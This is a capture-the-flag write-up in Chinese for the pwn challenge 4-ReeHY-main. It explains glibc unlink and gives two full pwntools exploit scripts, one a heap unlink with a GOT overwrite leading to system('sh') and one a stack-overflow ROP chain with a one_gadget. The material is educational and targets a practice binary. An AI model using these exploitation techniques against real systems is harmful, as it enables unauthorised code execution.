unlink 攻防世界4-ReeHY-main

该博客详细介绍了如何利用攻防世界4-ReeHY-main中的堆溢出和unlink漏洞来实现内存操纵。通过申请和释放chunk,构造fakechunk,并修改got表,最终达到泄漏libc地址并获取shell的目的。文章还提到了栈溢出的另一种攻击方式,展示了两种不同思路下的exploit实现。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

例题:攻防世界 4-ReeHY-main

当一个chunk释放为unsort bin时会检查上下是否为free chunk,如果上为free chunk则发生合并、合并后会调用unlink函数:(2.23)

/* consolidate backward */
    if (!prev_inuse(p)) { //当前的p标志位为0(上个chunk free)
      prevsize = p->prev_size;
      size += prevsize;  //本chunk的size + 上个chunk的size 实现大小合并
      p = chunk_at_offset(p, -((long) prevsize));//移动chunk指针至上个chunk的位置、实现合并指针操作、那么当前chunk将消失作为上个chunk的一部分
      unlink(av, p, bck, fwd);
    }


#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;	//下一个chunk指针 = fd 0x6020c8							      
    BK = P->bk;	//上一个chunk指针 = bk 0x6020d0		 					      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))//如果下一个chunk的bk不是我|上一个的fd不是我 则报错		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;	//下一个chunk->bk = BK(本来是指P)	      
        BK->fd = FD;	//上一个chunk->fd = FD(本来是指p)这个操作原来是用于将p这个chunk从unsort bin中拿出去,但是这个操作可以用来给我们写入数据,这里就是将
        //重点是BK->fd = FD这句它将BK->fd 也就是0x6020e0 = FD(0x6020c8)
        //成功将它指向了它上面0x18的地址处,这时如果0x6020c8可以写入数据,那么写入数据后就可以进行覆盖原来的ptr了
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      	//.....larg chunk操作....			      
      }									      
}

关键函数:

init_malloc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wMkOqVzG-1639110769877)(unlink利用.assets/image-20211206190420216.png)]

add

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uEoLIyqO-1639110769879)(unlink利用.assets/image-20211206191217348.png)]

del

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMFtpoZd-1639110769881)(unlink利用.assets/image-20211206191657550.png)]

edit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7sMuwDpZ-1639110769883)(unlink利用.assets/image-20211206191723581.png)]

那么知道漏洞后就梳理利用思路

  1. 没有后门函数、需要泄漏libc
  2. 没有程序控制流函数,需要修改got表

这题不讲原理,我也是第一次接触unlink边学边练原题目链接:https://blog.youkuaiyun.com/seaaseesa/article/details/102907138

做题思路如下:

  1. 首先申请2个small chunk,因为当一个非fast bin释放时会检查前后的堆块,如果是free chunk则将那个free chunk从bins里面取出来,然后把自己合并进去拿出来的free chunk再放入unsort bin
  2. 然后再申请一个随便大小chunk,为了防止合并进top chunk(我为了看效果,也可不申请)
#start
sla('$','admin')
add(0x100,0,'A'*(0x100-1)) #填满数据以便观察chunk空间
add(0x100,1,'B'*(0x100-1))
add(0x10,2,'C'*(0x10-1))  #防止合并后被放入top chunk(不写也没事)
#raw('初始化两个chunk 以便以后对它进行操作')
  1. 正常来说free(chunk0)就是free如图1:但是因为在add函数中ptr_array中存储单位是QWORD如图2:从图1中可以看出来ptr_array_size距离chunk0有0x10大小,那么刚好就是2个单位,这时free(chunk0 - 2)就可以释放ptr_array_size,加上uaf的漏洞,可以修改它的大小进行实现堆溢出,那么就满足了unlink的前提条件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WeCh9Rzx-1639110769888)(unlink利用.assets/image-20211206210210296.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4SSREELH-1639110769889)(unlink利用.assets/image-20211206210334768.png)]

dele(-2)
payload = p32(0x100 + 0x8 + 0x1)# 给下面堆溢出到下个chunk的头部创造空间、这里就可以刚刚溢出到下个chunk的 pret_size + p标志位
add(0x10,'3',payload)
  1. 构造fake chunk 如下,那么现在伪造的fake chunk就在chunk0的user data部分,如下:
target = 0x6020E0  #伪造的chunk
fake = p64(0) + p64(0x101) #prve_size + size(p = 1)
fake += p64(target-0x18) + p64(target-0x10) #ptr[0]会指向fd的地址处
fake += 'a' *(0x100 - (4 * 0x8))#填充空间
fake += p64(0x100) + '0' #这里是溢出到了chunk1部分,prve_size=0x100表示上一个chunk大小只有0x100(原来有0x110因为我们写入的数据是从user data部分开始的)p=0 表示上个chunk free
edit(0,fake) #将fake chunk放入chunk0

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NyMDstcj-1639110769891)(unlink利用.assets/image-20211206212258387.png)]

  1. 调用dele(1)这时free chunk1时发现前一个chunk0也是free状态那么就会发生合并,从而触发unlink进行赋值,unlink前的目标地址如图1,unlink后如图2。到这里就成功的将chunk0的位置处指向了我们想要指向的地址
dele(1)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WVhs0HUw-1639110769892)(unlink利用.assets/image-20211206212618914.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rUIHzDP7-1639110769895)(unlink利用.assets/image-20211206212640499.png)]

  1. 好,那么现在我们编辑chunk0那就是编辑0x6020c8,因为0x6020c8距离0x6020e0就是0x18的距离,那么因为我们写入数据过长就可以溢出到后门的地址了,从而实现覆写地址
fake =   p64(0)
fake +=  p64(0) + p64(0) 
fake +=  p64(free_got) + p64(1) #这里就填充到了0x6020e0 ,p64(1)表示这块内存在使用状态,只有是使用状态才可以编辑它,后门才可以修改got值
fake +=  p64(puts_got) + p64(1) 
fake +=  p64(atoi_got) + p64(1)
edit(0,fake)
  1. 泄漏libc,因为程序中没有控制流的函数,就只能修改got表劫持流程了,这里修改free的got表为puts@plt就可以实现调用puts函数了

    edit(0,p64(puts_plt)) #修改free@got的值为puts@plt
    dele(1) #调用free 则是 free->puts@plt
    leak = uu64(ru('\n')[:-1])
    success('leak puts',leak)
    libc_base  = leak - libc.symbols['puts']
    success('libc',libc_base)
    

    8.最后通过修改atoi函数为system然后控制台输入’sh’则可以getshell

    #system
    edit(2,p64(libc_base + libc.symbols['system']))
    sa('$ ','sh\x00')
    

完整exp:

# -*-coding:utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
#coneext.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')

binary = "./4-ReeHY-main"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("47.108.195.119","20113")
    e = ELF(binary)
    #libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def dbg():
 gdb.attach(p)
 pause()

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
#lg('canary',canary)

def raw(s):
  log.success('当前执行步骤 -> '+s)
  pause()

def add(size,cun,content):
 sla('$','1')
 sla('\n',str(size))
 sla('\n',str(cun))
 sla('\n',str(content))

def dele(idx):
 sla('$','2')
 sla('\n',str(idx))

def edit(idx,content):
 sla('$','3')
 sla('\n',str(idx))
 sa('\n',str(content))

#start
sla('$','admin')
add(0x100,0,'A'*(0x100-1))
add(0x100,1,'B'*(0x100-1))
add(0x10,2,'C'*(0x10-1))  #防止合并后被放入top chunk(不写也没事)
#raw('初始化两个chunk 以便以后对它进行操作')


dele(-2)
payload = p32(0x100+0x8 +1) #给下面堆溢出到下个chunk的头部创造空间
add(0x10,'3',payload)
#raw('改变ptr_sieze 规定大小,使chun0可溢出到chun1')


target = 0x6020E0  #伪造的chunk 这个地址必须是存在一个指针指向有uaf漏洞的chunk
fake = p64(0) + p64(0x101) #prve_size + size(p = 1)
fake += p64(target-0x18) + p64(target-0x10) #p-0x18 + p-0x10
fake += 'a' *(0x100 - (4 * 0x8))
fake += p64(0x100) +'0' #这里是溢出到了chunk1部分p=0 表示上个chunk free
edit(0,fake) #将fake chunk放入chunk0
raw('填入构造fake chunk 到chunk0 数据部分')

dele(1)
raw('unlink 后fake chunk 、chunk1一起进入top chunk')

free_got = e.got['free']
puts_got = e.got['puts']
atoi_got = e.got['atoi']
puts_plt = e.plt['puts']

fake =   p64(0)
fake +=  p64(0) + p64(0)
fake +=  p64(free_got) + p64(1)
fake +=  p64(puts_got) + p64(1)
fake +=  p64(atoi_got) + p64(1)
edit(0,fake)
raw('edit fake')

edit(0,p64(puts_plt)) #修改free@got的值为puts@plt
dele(1) #调用free 则是 free->puts@plt
leak = uu64(ru('\n')[:-1])
success('leak puts',leak)
libc_base  = leak - libc.symbols['puts']
success('libc',libc_base)
raw('leak')

#system
edit(2,p64(libc_base + libc.symbols['system']))
sa('$ ','sh\x00')
raw('system')
it()

这题也可以用栈溢出方法:

栈溢出做法:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b2LgMs02-1639111027284)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210115309718.png)]

假设这里输入-1时首先if(result <= 0x100)它是成立的,当遇到read函数时接收个数-1就是一个超级大的数据测试如图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j8aOSTwZ-1639111027286)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210120358251.png)]

那么我们输入-1即绕过了检查又满足了我们填入rop链条的要求,之后就是一道很简单的栈溢出题目了,泄漏+getshell。需要注意的点是我们需要使它memcpy(dest, buf, nbytes);正常执行,如果nbytes还是-1的话那么函数就会运行奔溃,那么来看看memcpy的第三个参数是怎么取值的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9nzMRYQH-1639111027287)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210120808841.png)]

假设我们按照之前的payload写法来看看效果

payload = ‘A’* 0x88 + ‘A’*0x8 + ‘B’ * 0x8

那么此时的值应该就是0x41414141,看看程序到了memcpy会怎么样

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lWRlZq3W-1639111027287)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210121502996.png)]

执行完这个函数之后:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZYkq8BZb-1639111027288)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210121534365.png)]

果然,那么我们改下payload将它设置为0,因为后面还会用到rbp-8如图:所以我们直接设置8 byte的null,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-936CfwaT-1639111027290)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211210122859458.png)]

泄漏的payload

payload = p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main)
add(-1,0,'A'* 0x88 + p64(0)  + 'B' * 0x8 + payload)

然后就可以正常泄漏和getshell了

exp:

# -*-coding:utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./4-ReeHY-main"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","62458")
    e = ELF(binary)
    libc = ELF('ctflibc.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()



def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def raw(s):
  log.success('当前执行步骤 -> '+s)
  pause()

one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]

def add(size,cun,content):
 sla('$','1')
 sla('\n',str(size))
 sla('\n',str(cun))
 sla('\n',str(content))

def dele(idx):
 sla('$','2')
 sla('\n',str(idx))

def edit(idx,content):
 sla('$','3')
 sla('\n',str(idx))
 sa('\n',str(content))

def z(s='b main'):
 context.terminal = ['tmux' , 'splitw', '-h']
 gdb.attach(p,s)

prdi = 0x0000000000400da3

#start
z('''  b * 0x400A6E  \n c ''')
sla('$','admin')
main  = 0x00400C8C
payload = p64(prdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main)
add(-1,0,'A'* 0x88 + p64(0)  + 'B' * 0x8 + payload)  #p64(1) 是控制了memcpy(dest, buf, nbytes);的nbytes值 必须是p64(1) 在调用memcpy函数时p32(0)可以绕过但是后面的栈还会用到它 所以全部填充为0
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)

#getshell
sla('$','admin')
payload = p64(base + one[0]) #libc2.23只有one[0]才可有
add(-1,1,'A'* 0x88 + p64(0)  + 'B' * 0x8 + payload)
it()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值